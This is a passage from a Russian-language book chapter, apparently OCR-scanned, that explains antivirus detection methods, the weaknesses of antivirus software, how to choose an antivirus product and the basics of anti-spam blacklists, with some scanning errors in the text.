мы и поговорим далее, в этом разделе. 

С помощью антивирусных систем вы можете защитить свою кор
поративную ИТ-среду от вредоносного кода. При этом совершенно не 
важно, как этот код проник в систему и где он скрывается. Антиви
русная система должна одинаково легко найти и обезвредить сетевого 
червя, спрятавшегося в оперативной памяти компьютера, троянско-
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го коня, пришедшего но электронной почте, и вирус , пытающийся 
с флэш-карты скопировать себя в системную нанку Windows. 

При этом хорошая антивирусная система не создает проблем с ра
ботой легальных программ, которые используются нами каждый день. 

История развития антивирусных программ неразрывно связана 
с развитием самих вирусов, поэтому описание способов работы анти
вирусов мы начнем с истории вирусов. 

Первые вирусные программы появились еще в начале 70-х годов 
прошлого столетия. С появлением первых персональных компьюте
ров Apple в 1977 году и развитием сетевой инфраструктуры начина
ется новая эпоха истории вирусов . Появились первые нрограммы
вандалы, которые распространялись под видом полезных программ, 
однако после запуска уничтожали данные пользователей. В это же 
время создаются троянские программы-вандалы, проявляющие свою 
деструктивную сущность лишь через некоторое время или при опре
деленных условиях. 

Первые антивирусные программы появились в 1984 году. Програм
ма СНК4ВО МВ позволяла проанализировать текст загрузочного мо
дуля и выявляла все текстовые сообщения и подозрительные участ
ки кода, такие, например, как команды прямой записи на диск. При 
выявлении запрещенной операции можно запретить ее выполнение. 
Были также специальные антивирусные утилиты, которые не ловили 
вирусы, а вместо этого �обманывали� вирус, заставляя его �думать�, 
что все файлы на вашем компьютере уже заражены. 

С течением времени антивирусные программы стали резидентны
ми, то есть постоянно находились в памяти компьютера и контроли
ровали выполнявшиеся в системе операции. 

Также изменялись методы обнаружения вирусов,  подробнее об 
этих методах мы поговорим далее. 

7. 1 .  1 .  Способы обнаружения вирусов 

Обнаружение, основанное на сигнатурах 
Метод обнаружения, основанный на сигнатурах, - это метод, при ко
тором антивирусный сканер, просматривая файл, обращается к сло
варю с известными атаками, который составили и дополняют раз 
работчики антивирусов. В случае соответствия какого-либо участка 
кода просматриваемой программы известному коду (сигнатуре) ви
руса в словаре антивирус удаляет инфицированный файл, пытается 
восстановить файл, удалив сам вирус из тела файла, или выполнить 
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другие действия. Также антивирусная программа может отправить 
его в карантин, то есть делает невозможным его запуск во избежание 
дальнейшего распространения вируса. 

Этот метод можно сравнить с паспортным контролем на границе, 
к примеру в аэропорту. Когда вы показываете свой паспорт, ваши 
паспортные данные проверяют в специальной базе разыскиваемых 
преступников , если их там нет, то вас благополучно пропускают. 

Подобный способ обнаружения вирусов является старейшим. Пер
вые антивирусные программы умели обнаруживать вирусы только та
ким способом, сверяя содержимое каждого файла со своим словарем. 
Современные антивирусные программы также используют сигнатур
ный анализ, однако он не является единственным средством обнару
жения вирусов. На сегодняшний день этот метод малоэффективен. 

Основным недостатком сигнатурного анализа является то, что он 
позволяет обнаруживать только уже известные вирусы. А вирусы, 
сигнатуры которых еще не занесены в словари, обнаружить таким 
способом не получится. Иногда, для того чтобы вирус смог проник
нуть в сеть какой-то конкретной организации, его код разрабаты
вают специально таким образом, чтобы данной сигнатуры не было 
в словаре антивируса, используемого в этой организации. Так как 
при сигнатурном анализе антивирус ничего не знает об этом новом 
вирусе, вирус с успехом проникает в корпоративную сеть. Кроме того, 
разработчики вирусов специально шифруют и видоизменяют код 
вирусов , для того чтобы сигнатура этого кода отсутствовала в базе. 

Еще одним существенным недостатком метода обнаружения, осно
ванного на сигнатурах, является необходимость регулярного обнов
ления сигнатур. Для такого обновления необходим доступ в Интер
нет. В случае если вы не обновляли свою базу антивирусных сигнатур 
хотя бы один месяц, вы подвергаете свой компьютер серьезной угрозе, 
так как за это время появились тысячи вирусов, неизвестных вашей 
антивирусной системе. Не забывайте об этом и настройте ежедневное 
обновление своего антивируса. 

П р и  н а п и са н и и  раздел а о сигн атурах мне вспомнилась  одна исто
рия ,  связанная  с ложными срабаты в а н иями .  Е сть та кая п рограмма -

Rem ote Ad m i п istгator, п редназ наченная  для удал енн ого управления  
комп ьютером.  Это  легал ьная п рограмма, пол ьзующаяся популярно
стью среди си стемных администраторов ,  которую можно п р и об рести 
в л юбом и нтернет-ма газ и не .  Н ескол ько лет назад я работал в под
де ржке одн ого из вестн ого разработч и ка анти в и русн ых п ро грамм. 
Оди н из наших  круп ных  заказ ч и ков  а кти вно  испол ьзовал этот самы й  
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Remote Ad m i n istrator и н а ш  а нти в и рус. П ри этом у заказч и ка было  
много сер в е р о в ,  распол ожен ных  на  удал е н н ых площадках, где не  
было  с воих  си стемных  адми н и страторов .  И в от в оди н п рекрасн ы й  
ден ь  разработч и ки нашего анти в и руса внесл и сигнатуру п рограммы 
Remote Adm i n istrator в свой словарь  в и русов .  В резул ьтате у нашего 
заказч и ка на  всех его серверах была  удалена п рограмма,  предна
значенная  для удал енного управления  этими же серверами . Конеч но,  
через некоторое в ремя эта п рограмма была удал ена из  сл оваря  си г
натур,  но си стемным администраторам нашего заказ ч и ка п р и шлось 
из рядно поездить п о  стране ,  для того чтобы  в осста н о в ить на  всех 
своих серверах Remote Ad min i stгator . Так  что порой  ложн ые сраба
ты вания  анти в и руса могут обходиться довол ьно дорого в буквал ьном 
смысле сл ова .  

Обнаружение аномалий 
Для того чтобы избежать недостатков метода обнаружения вирусов, 
основанного на сигнатурах, разработчики антивирусных систем при
менили ряд новых технологий. Одной из них является обнаружение 
аномалий (подозрительного поведения),  то есть динамический метод 
работы антивирусов. Программа, использующая этот метод, наблю
дает определенные действия (работу программы/процесса, сетевой 
трафик, работу пользователя),  следя за возможными необычными и 
подозрительными событиями или тенденциями. 

Здесь, если производить сравнение с тем же контролем при пе
ресечении границы, пограничники внимательно следят за каждым 
пересекающим границу и в случае странностей в его поведении за
держивают подозрительного гражданина. 

Антивирусы, использующие метод обнаружения подозрительно
го поведения программ, не пытаются идентифицировать известные 
вирусы. Вместо этого они прослеживают поведение всех программ. 
Если программа пытается записать какие-то данные в исполняемый 
файл (ехе-файл),  программа-антивирус может пометить этот файл, 
предупредить пользователя и спросить, что следует сделать. Такой 
режим работы называется режимом обучения. 

В отличие от метода соответствия определению вируса в словаре, 
метод подозрительного поведения дает защиту от совершенно новых 
вирусов и сетевых атак, которых еще нет ни в одной базе вирусов 
или атак. Однако и этот метод не лишен недостатков,  программы, по
строенные на его основе, могут выдавать также большое количество 
ошибочных предупреждений, что делает пользователя маловоснри
имчивым к предупреждениям. 
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Говоря об ошибочных предупреждениях и реакции пользователя на 
эти предупреждения, хотелось бы отметить определенную закономер
ность. Чем больше с запросом действия выдает нам антивирусная си
стема, тем менее внимательно пользователи реагируют на эти сообще
ния. То есть при первых сообщениях антивируса мы внимательно их 
читаем и осмысленно указываем антивирусу добавить тот или иной 
файл в исключения. Когда же подобные сообщения начинают по
являться десятками в течение часа, мы на автомате добавляем подо
зрительные файлы в исключения. Для того чтобы избежать подобных 
проблем, в современных антивирусах имеется возможность исполь
зования правил для всех подобных случаев.  Тогда при обнаружении 
подозрительных файлов с аналогичными признаками антивирус не 
будет спрашивать у пользователя, что ему делать, а выполнит то дей
ствие, которое задано в его настройках для всех подозрительных фай
лов такого вида. Так что когда ваш антивирус выводит сообщение об 
обнаружении подозрительного файла или другого подозрительного 
действия, старайтесь всегда создавать правило. Это избавит вас от 
изобилия системных сообщений, среди которых могут оказаться как 
ошибочные предупреждения, так и предупреждения о реальной ви
русной активности. 

Обнаружение при помощи эмуляций 
Обнаружение, основанное на эмуляции, - метод работы антивируса, 
при котором подозрительный файл либо запускается в тщательно 
контролируемой среде, либо эмулируется его исполнение с целью 
выявления тех признаков вредоносного кода, которые появляются 
только во время исполнения программы. Некоторые программы-ан
тивирусы пытаются имитировать начало выполнения кода каждой 
новой вызываемой на исполнение программы, перед тем как передать 
ей управление. Если программа использует самоизменяющийся код 
(например, расшифровывает себя) или проявляет себя как вирус (то 
есть немедленно начинает искать другие выполнимые файлы с целью 
их заражения),  такая программа будет считаться вредоносной, спо
собной заразить другие файлы. Однако этот метод тоже изобилует 
большим количеством ошибочных предупреждений, так как многие 
программы при установке выполняют подобные действия. 

Здесь параллель с обычной жизнью провести сложнее. Эта тех
нология аналогична тому, как если бы подозреваемого спрашивали 
�что было бы, если бы�. Некий аналог детектора лжи. На основании 
ответов подозреваемого решается, опасен он или нет. 
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Еще один метод определения вирусов включает в себя использо
вание �песочницы� (зачастую основанной на виртуальной машине). 
Песочница имитирует операционную систему и запускает исполняе
мый файл в этой имитируемой системе. После исполнения програм
мы антивирусная программа анализирует содержимое песочницы на 
присутствие каких-либо изменений, которые можно квалифициро
вать как вирус. Из-за того, что быстродействие системы снижается и 
требуется достаточно продолжительное время для выполнения про
граммы, антивирусные программы, построенные но этому методу, 
обычно используются только для сканирования но запросу пользо
вателя. Следует отметить, что эффективность данных программ на
много выше, чем у всех остальных, но и затраты на их работу так же 
выше. В последнее время в связи с увеличением вычислительных 
мощностей домашних компьютеров практически все антивирусные 
программы стали использовать технологию �песочницы�. 

Виртуальная машина - это специальная программа, позволяю
щая имитировать работу компьютера. Фактически это компьютер 
в компьютере, при этом операционная система, установленная в вир
туальной машине (гостевая система), может быть полностью изоли
рована от системы основного компьютера. Гостевая система представ
ляет собой несколько файлов на основном компьютере, которые при 
необходимости можно скопировать на другой компьютер или удалить. 
Наиболее известными виртуальными машинами являются VM ware 
и Microsoft Virtual РС. В состав Windows 7 и Vista входит виртуаль
ная машина на основе Virtual РС, позволяющая развернуть на вашем 
компьютере еще одну операционную систему семейства Windows. 
Кстати, если вам часто приходится запускать программы сомни
тельного происхождения, то для защиты своего компьютера советую 
сделать следующее. Установите на своем компьютере виртуальную 
машину, или если вы используете Windows 7 или Vista, то можете вос
пользоваться встроенной. В этой виртуальной среде установите новую 
операционную систему, той же версии, что и ваша основная система. 
Затем в настройках гостевой системы отключите сеть. Теперь на этой 
гостевой системе вы можете безопасно запускать сомнительные про
граммы. В случае если эти программы содержат вирусы, то дальше 
виртуальной машины они никуда проникнуть не смогут. 

Метод белого списка 
Еще одна технология но борьбе с вредоносными программами - это 
�белый список�. Вместо того чтобы искать только известные вреда-
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поеные программы, эта технология предотвращает выполнение всех 
компьютерных кодов, за исключением тех, которые бьши ранее обо
значены пользователем как безопасные. Выбрав этот параметр за
прета но умолчанию, можно избежать ограничений, характерных для 
обновления сигнатур вирусов, о которых мы говорили ранее. К тому 
же те приложения на компьютере, которые пользователь не хочет 
устанавливать, не выполняются, так как их нет в �белом списке� .  
Для домашних компьютеров эта технология не совсем применима, 
так как необходимо постоянно следить за тем, какие программы вы 
устанавливаете на свой компьютер, добавлять их в белый список. 
У современных предприятий есть множество надежных приложений, 
и ответственность за ограничения в использовании этой технологии 
возлагается на системных администраторов и соответствующим об
разом составленные ими �белые списки� надежных приложений. Но 
на своем домашнем компьютере у нас вряд ли будет время и желание 
следить за белыми списками, поэтому данная технология подойдет 
не всем. 

А вот тут параллель провести довольно просто. Пускать всех, у ко
го есть пропуск. Тех, у кого пропуска нет, - не пускать. 

Эвристический анализ 
И эту технологию уже используют практически все современные ан
тивирусные средства. Эвристический анализ нередко используется 
совместно с сигнатурным сканированием для поиска сложных шиф
рующихся и самоизменяющихся вирусов. Методика эвристического 
анализа позволяет обнаруживать ранее неизвестные инфекции, од
нако лечение в таких случаях практически всегда оказывается невоз
можным. Тогда, как правило, требуется дополнительное обновление 
антивирусных баз для получения последних сигнатур и алгоритмов 
лечения, которые, возможно, содержат информацию о ранее неиз
вестном вирусе. В противном случае файл передается для исследова
ния антивирусным аналитикам или авторам антивирусных программ. 
Стоит заметить, что методы эвристического сканирования не обеспе
чивают какой-либо гарантированной защиты от новых, отсутствую
щих в сигнатурном наборе компьютерных вирусов , что обусловлено 
использованием в качестве объекта анализа сигнатур ранее известных 
вирусов , а в качестве правил эвристической верификации - знаний 
о механизме изменения сигнатур. 

Итак, мы рассмотрели все методы определения вирусов. 
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7. 1 .2. Проблемы антивирусов 

Мы поговорили о методах, с помощью которых антивирусная система 
борется с вирусами. Может показаться, что достаточно объединить 
в одной программе все эти технологии, и мы получим идеальный 
антивирус. На самом деле все описанные технологии в большей или 
меньшей степени, но используют данные методы. Однако современ
ные антивирусные программы далеко не идеальны. У них есть целый 
ряд недостатков , части которых мы уже коснулись при описании ме
тодов определения вирусов. Например, основная проблема антиви
русной программы - это пользователь. 

Проблема N!! 1: пользователь 
Пользователь может создать массу проблем для работы антивируса. 
Примером таких проблем может стать уже упоминавшаяся ранее,  
в примечании, невнимательность пользователя при создании пра
вил для антивирусной системы. Помимо этого, бывают случаи, когда 
пользователи при работе просто отключают постоянную антивирус
ную защиту. Делается это но разным причинам. Некоторых пользо
вателей раздражают периодические предупреждения, выводимые на 
экран антивирусной программой. Другие отключают антивирус для 
того, чтобы установить какую-либо программу или игру, установке 
которой антивирус препятствует. Также иногда антивирусы мешают 
пользователям посещать сомнительные веб-ресурсы. Третьи просто 
считают, что антивирусная программа замедляет работу компьютера 
и поэтому ее следует отключить. 

Конечно, некоторые из этих доводов имеют под собой определен
ную почву. Например, многие антивирусные программы при исполь
зовании настроек но умолчанию действительно блокируют работу 
некоторых легальных программ, также на маломощных компьютерах 
антивирусная программа может потреблять существенную часть ма
шинных ресурсов . Что касается сообщений о подозрительных объ
ектах, то этот вопрос мы уже обсуждали ранее. Однако если рас 
сматривать вопросы антивирусной защиты объективно, то следует 
признать, что, для того чтобы антивирус не блокировал легальные 
программы, достаточно просто внести необходимые изменения в на
стройки (о том, какие именно нужно внести изменения, мы погово
рим далее) .  А для того чтобы не нагружать слабую машину, можно 
исключить из сканирования, к примеру, файлы большого объема 
(например, фильмы или музыку), так как, но статистике, в них ред-
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ко бывают вирусы, зато их сканирование потребляет значительные 
системные ресурсы. 

Подводя итог под содержимым двух последних абзацев,  хочу 
предостеречь читателя от вышеприведенных ошибок: если ваша анти
вирусная программа каким-либо образом мешает работе системы, то 
не нужно тут же отключать или деинсталлировать ее. Гораздо лучше 
постараться грамотно настроить антивирусную программу, и тогда 
она станет отличным средством защиты вашего компьютера. 

Проблема N!! 2: развитие вирусов 
Разобравшись с главной проблемой антивирусных программ - поль
зователем, поговорим о других трудностях. Одно из главнейших пра
вил информационной безопасности гласит: на защиту 90% данных 
необходимо затратить 1 0% ресурсов,  а на защиту оставшихся 10% 
затратить 90% ресурсов. И есть еще одно общепринятое правило: 
прочность любой цени определяется прочностью ее самого слабого 
звена. Что эти правила означают на практике? Проведем некоторые 
аналогии с обычной жизнью. Если нам необходимо огородить ка
кой-либо участок земли, мы строим вокруг него забор, который, как 
правило, огораживает более 90% периметра охраняемой территории, 
оставляя неогороженными только ворота для въезда и выезда. Одна
ко без прочных ворот мы вряд ли сможем чувствовать себя на нашем 
участке в безопасности. Поэтому нам приходится тратить еще опреде
ленные деньги на установку прочных ворот. С учетом расходов на раз
личные системы видеонаблюдения, сторожевых собак и, возможно, 
охранников,  наши суммарные расходы на охрану въезда в несколько 
раз превысят стоимость забора. Так к чему это я? А к тому, что наша 
антивирусная программа должна уметь определять не только хорошо 
известные вирусы, с момента появления которых прошел уже не один 
день (все то, с чем хорошо справляются механизмы обнаружения 
на основе сигнатур),  но и уметь обнаруживать и блокировать неиз
вестные ранее вирусы (на это нацелены механизмы эвристики и �пе
сочницы�) .  При этом разработчики нашей антивирусной программы 
должны делать основной упор именно на технологии обнаружения 
неизвестных вирусов (например, вирусов �нулевого дня�, zero day), 
используя технологию поиска сигнатур как само собой разумеющееся 
средство поиска. 

Вирусами �нулевого дня� являются все вирусы в момент своего 
первого распространения, в этот момент сигнатур данных вирусов 
еще нет в словарях, ни одной антивирусной программы, и вирусы 
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беснренятственно заражают тысячи компьютеров но всему миру. По
этому вирусы �нулевого дня� являются наиболее опасными, и борьба 
с ними является одной из важнейших задач любой антивирусной 
программы. 

На самом деле, к сожалению, на сегодняшний день ни одна анти
вирусная программа не может гарантировать 1 00%-го обнаружения 
вирусов . Специальные исследования, проведенные различными не
зависимыми лабораториями, показали, что в среднем антивирусы 
определяют от 80 до 90% вирусов . Причина этого кроется в постоян
но растущей активности вирусонисателей. Если раньше основным 
мотивом вирусонисателя были самоутверждение и известность, то 
сейчас все больше вирусонисателей занимаются разработкой вирусов 
с целью наживы. Соответственно, изменилась и социальная группа 
людей, занимающихся написанием вирусов.  Раньше это были пре
имущественно студенты и начинающие программисты, зачастую 
плохо владеющие программированием и допускавшие в коде вируса 
ошибки, позволявшие антивирусу без труда идентифицировать ви
рус. В современном мире разработкой вирусов все чаще занимаются 
опытные программисты, владеющие всеми тонкостями разработки 
вредоносного кода. Мотивация современных вирусонисателей, как 
правило,  очень проста - это деньги.  Например, в последнее время 
большое распространение получили так называемые кринтовирусы, 
шифрующие содержимое жестких дисков компьютеров . При попыт
ке обратиться к зараженному файлу на экран выводится сообщение 
с предложением отправить определенное СМ С-сообщение на опреде
ленный номер, для того чтобы получить код для расшифровки фай
лов . Естественно, после отправки этого СМ С-сообщения вы вряд ли 
получите код для расшифровки, а вот несколько долларов со счета 
вашего мобильного телефона спишут обязательно. Также зачастую 
вирусы пишут но заказу различных экстремистских организаций или 
спецслужб различных государств. Во многом благодаря такому �про
грессу� технологий разработки вирусов появились самоизменяющие
ся полиморфные вирусы, различные вирусы-невидимки, �стеле� ,  
руткиты и другие вредоносные программы. 

Конечно,  бороться с такими вирусонисателями должны прежде 
всего правоохранительные органы, но приведенные выше примеры 
показывают, насколько эволюционировало развитие вирусных тех
нологий в последние годы. Соответственно, и антивирусные системы 
должны оперативно реагировать на эти угрозы современного мира и 
своевременно разрабатывать и внедрять новые механизмы обнару
жения вирусов. 
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Проблема N!! 3: ликвидация последствий заражений 
Еще одна проблема антивирусных систем - это ликвидация послед
ствий вирусных эпидемий. Если раньше бьши маломощные компью
теры с модемными соединениями, основным каналом заражения 
системы являлись компьютерные дискеты и вирусные эпидемии рас
пространялись довольно медленно, то теперь все изменилось. Стоит 
вам подключить зараженную флэш-карту в свой компьютер, как вирус 
в течение секунды попытается заразить вашу систему. И в случае удачи 
немедленно начнет рассылать себя но электронной почте, используя 
адресную книгу вашего компьютера, с помощью программ мгновенно
го обмена сообщениями (например, ICQ) или же иных средств, о ко
торых мы подробно поговорим в последующих главах. Учитывая ско
рость современных каналов доступа в Интернет, уже через несколько 
секунд могут быть заражены десятки и сотни компьютеров. Конечно, 
если антивирусная программа сразу обнаружила вирус и не дала ему 
заразить ваш компьютер, то все в порядке. Но что делать, если вирус 
все-таки смог заразить вашу систему? Тогда антивирусная програм
ма, получив сигнатуру данного вируса, постарается его удалить из 
системы, но если заражены тысячи файлов, то восстановление может 
занять значительное время. К тому же очень часто зараженные файлы 
бывает невозможно полностью восстановить. Это особо критично для 
системных файлов , потому что после их заражения зачастую прихо
дится полностью нереустанавливать систему. 

Приведу небольшой пример быстроты распространения вирусов. 
В 2002 году произошла эпидемия сетевого червя Slammer, тогда в те
чение буквально нескольких часов бьши заражены сотни тысяч сер
веров и компьютеров но всему миру. 

Проблема № 4: безопасность самого антивируса 
Наконец, говоря о проблемах антивирусных программ, не стоит за
бывать и о безопасности их самих. Ведь существует масса вирусов и 
различных программ, предназначенных для отключения антивирусов 
на вашем компьютере. Например, многие вирусы, прежде чем начать 
заражение системы, ищут в оперативной памяти компьютера про
цессы с определенными именами, на жестком диске - определенные 
файлы, в системном реестре - определенные записи. После обнару
жения этих компонент вирус безжалостно удаляет их, лишая таким 
образом ваш компьютер средств защиты, и затем уже приступает 
к заражению системы. Для борьбы с этим антивирусные програм
мы прячут себя. Например, если вы нажмете на своем компьютере 
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Ctrl+Alt+Del и выберете Диспетчер задач, то в списке работающих 
процессов вы можете увидеть процессы со странными, непонятными 
именами, например D34DSF, RQW23 1 и т. д. Вполне возможно, что 
эти процессы запущены вашей антивирусной программой. Вы можете 
провести небольшой эксперимент и удалить данный непонятный про
цесс. К каким-либо фатальным последствиям это не приведет, так как 
после перезагрузки компьютера данный процесс снова запустится. 
Однако, если через несколько секунд вы увидите в списке задач про
цесс с другим непонятным именем, то это означает, что ваша анти
вирусная программа следит за присутствием своего процесса в па
мяти и в случае его остановки немедленно запускает новый. Теперь 
вы понимаете, почему этот процесс имеет непонятное имя, которое 
к тому же меняется при каждом запуске системы, - все это делает
ся для того,  чтобы вирусу было сложнее отключить антивирусную 
программу. Аналогично и с файлами антивирусной программы, она 
должна делать резервную копию всех своих файлов и настроек. И при 
каждом запуске проверять, не повреждены ли ее файлы. В случае 
повреждения или удаления файлов антивирусной программы она 
восстанавливает их из резервной копии автоматически. 

Проблема N!! 5: другие антивирусы 
Говоря о защите самих антивирусных программ, стоит упомянуть о за
щите антивирусов друг от друга. В общем случае антивирус другому 
антивирусу - враг. То есть на одном компьютере лучше не использо
вать две различные антивирусные программы. Конечно, в последнее 
время стали появляться антивирусные решения, использующие не
сколько ядер, то есть фактически использующие несколько антиви
русов на одной машине, но использовать два различных антивируса 
на одной машине не рекомендуется. К чему может привести такое 
соседство антивирусов? Дело в том, что при установке все антивирус
ные программы прописывают себя в операционную систему на самый 
глубокий уровень и тщательно следят за тем, чтобы никто другой не 
проник на этот уровень. И когда другой антивирус при установке пы
тается прописать себя на этот же глубокий уровень операционной 
системы, антивирус, который был установлен первым, начинает ак
тивно возражать, считая, что в операционную систему пытается про
никнуть вирус. Начинается противостояние, результат которого зачас
тую предсказать трудно. В самом худшем случае это может привести 
к появлению �синего экрана смерти� с последующей нереустановкой 
системы. Конечно,  многие современные антивирусные программы 
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умеют корректно удалять своих конкурентов при установке, но я бы 
вам посоветовал при переходе с одной антивирусной программы на 
другую всегда вручную удалять предыдущую версию программы. 

Что ж, мы выяснили, какие проблемы есть у антивирусных про
грамм, теперь поговорим о том, какие антивирусы бывают и как вам 
выбрать подходящий. 

7. 1 . З. Архитектура антивирусной защиты 

Не качеством, так количеством 
Неплохим решением могло бы быть использование нескольких анти
вирусов на одном компьютере, но мы уже обсудили в предыдущих 
разделах, почему не стоит устанавливать несколько антивирусов на 
одну машину. Правда, стоит отметить, что в последнее время появи
лись ряд решений, позволяющих использовать несколько антивиру
сов для сканирования одного компьютера. Прежде всего это много
ядерные антивирусные программы. Примером таких программ может 
служить многоядерный антивирус Sybari Software. Данный антиви
рус содержит в себе несколько средств для поиска вируса но сигна
турам от различных производителей. Это, конечно, лучше, чем один 
антивирус, так как вероятность обнаружения вируса существенно 
увеличивается из-за использования нескольких словарей сигнатур. 
Однако такие многоядерные антивирусы стоят существенно дороже 
обычных антивирусов и не всем но карману. 

Также многие разработчики стали выпускать специальные ути
литы, которые позволяют осуществлять сканирование системы без 
установки антивирусной программы на жесткий диск. Подобные ути
литы представляют собой один выполнимый файл, в который уже 
зашиты все словари вирусных сигнатур. После запуска эта утилита 
проверяет жесткий диск на наличие вирусов. Конечно,  такая про
верка получается несколько поверхностной, так как проверяются, 
как правило, только сигнатуры, но подобные утилиты полезны, по
скольку вы можете их использовать вместе с основным антивирусом, 
установленным на вашем компьютере. Эти антивирусные утилиты 
являются бесплатными, и найти их можно на сайтах разработчиков, 
например на drweb.ru или kaspersky.ru. 

Еще один способ проверить ваш компьютер несколькими анти
вирусами - это использование загружаемых компакт-дисков. На
пример, на сайте компании Доктор Веб вы можете скачать ISО-образ 
загружаемого компакт-диска, на котором установлен антивирус со 
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всеми необходимыми обновлениями. Развернув содержимое данного 
ISО-образа на компакт-диске, вы можете загрузиться с него и про
верить вашу систему на наличие вирусов . При этом установленный 
на жестком диске антивирус никак не пострадает. 

Конечно, приведенные выше два способа использования несколь
ких антивирусов не так эффективны, поскольку они не осуществляют 
постоянной защиты системы от вирусов и для своего применения 
требуют участия пользователя системы, но они могут быть полез 
ны для периодической проверки компьютера, а также при подозри
тельном поведении системы, но когда штатный антивирус не может 
определить вирус. 

Популярные тесты антивирусных программ 
Прежде чем приобрести антивирусную систему, вы можете скачать 
с сайта разработчика испытательную (trial) версию программы. Ис
пытательный период длится, как правило, от двух недель до месяца. 
Этого времени будет вполне достаточно, для того чтобы оценить на
дежность выбранной антивирусной программы. Чтобы проверить 
свою антивирусную программу, не нужно специально открывать 
на своем компьютере подозрительные файлы или посещать сомни
тельные страницы в Интернете, пытаясь выяснить, сколько вирусов 
поймает ваш антивирус. Более того, такие действия могут привести 
к заражению вашего компьютера в случае неверной настройки анти
вирусной программы. Так что для проверки вашего антивируса лучше 
всего воспользоваться различными результатами тестов,  проведен
ных независимыми специалистами. 

Есть четыре наиболее известных теста антивирусных программ: 

О тест английского журнала Virus Bulletin (http://www.virusbtn. 
com) ; 

О тесты на получение сертификата Check Mark (http: //www. 
westcoastlabs.org) ; 

О тесты эксперта Андреаса Маркса в Германии (http://www.av
test.org) ; 

О тест эксперта Андреаса Клементи в Австрии (http://www.av
comparatives.org) . 

Virus Bulletin считается наиболее популярным, правда, в послед
нее время многие разработчики заявляют, что тесты Virus Bulletin 
устарели и нуждаются в изменении и доработке, так как они не пока
зывают реальной картины эффективности антивирусных программ. 
Однако давайте посмотрим на результаты Virus Bulletin на ноябрь 
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2009 года. Результаты таковы, что тест прошли все самые извест
ные антивирусные программы от таких разработчиков,  как McAfee, 
Sophos, Microsoft, Symantec и др. Не знаю, как вам, но мне такие ре
зультаты не очень нравятся, так как получается, что все антивирусы 
�одинаково полезны�. Более интересным, на мой взгляд, является 
график эффективности реактивной (сигнатурный анализ) и нроак
тивной (эвристика, песочница) защиты. Здесь на период с 9 апреля но 
9 октября наилучшие результаты показали Sophos, Microsoft, ESET и 
Кaspersky. У этих антивирусных программ оказалось наилучшее соот
ношение эффективности как реактивной, так и нроактивной защиты, 
в среднем более 90% . 

Если результаты тестов Virus Bulletin вас не устраивают, то вы 
можете ознакомиться со сравнительными анализами, данными на 
остальных трех сайтах, приведенных в этом разделе. 

Зарекомендовавшие себя антивирусные программы 
Как мы уже говорили, существует множество различных антивирус
ных программ. Однако если вы все еще не определились с антиви
русной программой, то советую обратить внимание на программы 
следующих производителей: Dr. Web, Кaspersky Lab, Agnitum, Eset, 
Panda Sofware, McAfee, Symantec. 

Данные разработчики антивирусных программ являются при
знанными лидерами в области защиты информации. Это означает, 
что у них имеются мощные лаборатории, позволяющие оперативно 
реагировать на вирусные эпидемии но всему миру. К тому же эти раз
работчики осуществляют техническую поддержку своих продуктов 
но всему миру, в том числе и в России. Это немаловажные факторы, 
так как зачастую разработчики антивирусных программ эффектив
но работают только в какой-либо одной стране или регионе, однако 
стоит приобрести их продукт пользователю из другого региона, как 
тут же начинаются проблемы с определением вирусов , а главное -
проблемы с осуществлением технической поддержки. Техническая 
поддержка вообще очень важна, при выборе антивирусной програм
мы необходимо, чтобы ее разработчик обязательно осуществлял под
держку в вашем регионе, желательно, чтобы это бьша круглосуточная 
поддержка но телефону, в крайнем случае но электронной почте и на 
русском языке. Иначе в случае возникновения технических проблем 
при работе антивируса вы рискуете оказаться с ними один на один без 
помощи квалифицированных специалистов. В этом отношении мне 
всегда нравилась работа службы технической поддержки Лаборато-
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рии Каснерского,  лидера российской индустрии разработки антиви
русов. При звонке в службу технической поддержки этой компании 
квалифицированные специалисты всегда помогали решить любой, 
даже самый запутанный технический вопрос. 

Вообще, у многих читателей может возникнуть вопрос, а стоит ли 
приобретать антивирусные программы иностранной разработки, ведь 
они ориентированы на англоязычную среду и соответственно могут 
плохо работать в русскоязычной операционной системе. В особенности 
это может касаться различных нежелательных почтовых рассылок, 
которые в России осуществляются, как правило, на русском языке, 
а в Европе и Америке - на английском. Этот вопрос возникает у мно
гих пользователей перед приобретением антивирусной программы. 

На самом деле история распространения практически всех анти
вирусов показывает, что для них не существует территориальных 
границ. Вирусы с одинаковым успехом заражали компьютеры в Евро
пе, Азии и Америке. Так что �национальность� антивируса большого 
значения не имеет. Гораздо важнее то, насколько быстро разработ
чики антивируса реагируют на появление новых вирусов , занося их 
сигнатуры в свои словари. Также для многих пользователей большое 
значение имеет наличие русскоязычного интерфейса в антивирусной 
программе. Но у большинства из приведенных выше антивирусных 
программ присутствуют русскоязычный интерфейс и техническая 
поддержка в России и странах СНГ. 

Комплекс защиты от вирусов 
До этого момента мы говорили только об антивирусных программах 
и их использовании в качестве средства защиты от вирусов. Однако 
хотя антивирусы и являются основным средством защиты от вирусов, 
существует также ряд программ, которые помогают защитить ваш 
компьютер от различных вирусных угроз. 

Если вы используете для защиты своего компьютера только анти
вирусную программу, то вы сильно рискуете, так как вирусы могут 
проникнуть в вашу систему и сначала вывести из строя антивирусную 
программу, а потом заразить всю систему. Для того чтобы этого не 
произошло, воспользуйтесь рекомендациями, приведенными далее. 

7. 1 .4. Борьба с нежелательной почтой 

Нежелательная почта, также известная как снам, - это письма рек
ламного характера, которые вы не заказывали и видеть не желаете. 
Снам может полностью парализовать работу с электронной почтой, 
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завалив ваш сервер тысячами беспредметных писем. Снижение функ
циональных возможностей почты и потери времени вынуждают при
менять различные антиснам-системы. Существуют несколько спо
собов борьбы со снамом. Наиболее эффективно использование этих 
средств в комплексе. 

Черные списки 
Серверы, задействованные в рассылке массовых почтовых сообще
ний, имеют ряд специфических черт, но которым они могут быть с ве
роятностью в более чем 99% отделены от обычных почтовых серверов. 
Это и позволяет почти полностью блокировать снам, подвергнув по
ведение почтового сервера отправителя определенному анализу. 

Антиснам-фильтры имеют алгоритмы определения подозрительных 
серверов и собственный список уже выявленных снамеров, поэтому не 
требуют дополнительной настройки и специального обучения сотруд
ников, так что работа начинается сразу же после регистрации в системе. 

В качестве списков снаммеров могут использоваться как сторон
ние, свободно распространяемые блэк-листы ( S U RB L, DNS BL) ,  
Gray Listing, SpamAssassin, так и коммерческие списки, которые обыч
но предоставляются но подписке. 

В черные списки снаммеров заносятся IР-адреса хостов, замечен
ных в рассьшке снама. Обычно это компьютеры, зараженные виру
сами и превращенные в @омби� для рассьшки снама. Если IР-адрес 
компьютера впервые попал в черный список, то, как правило, пользо
ватель может обратиться на сайт составителей этого листа, для того 
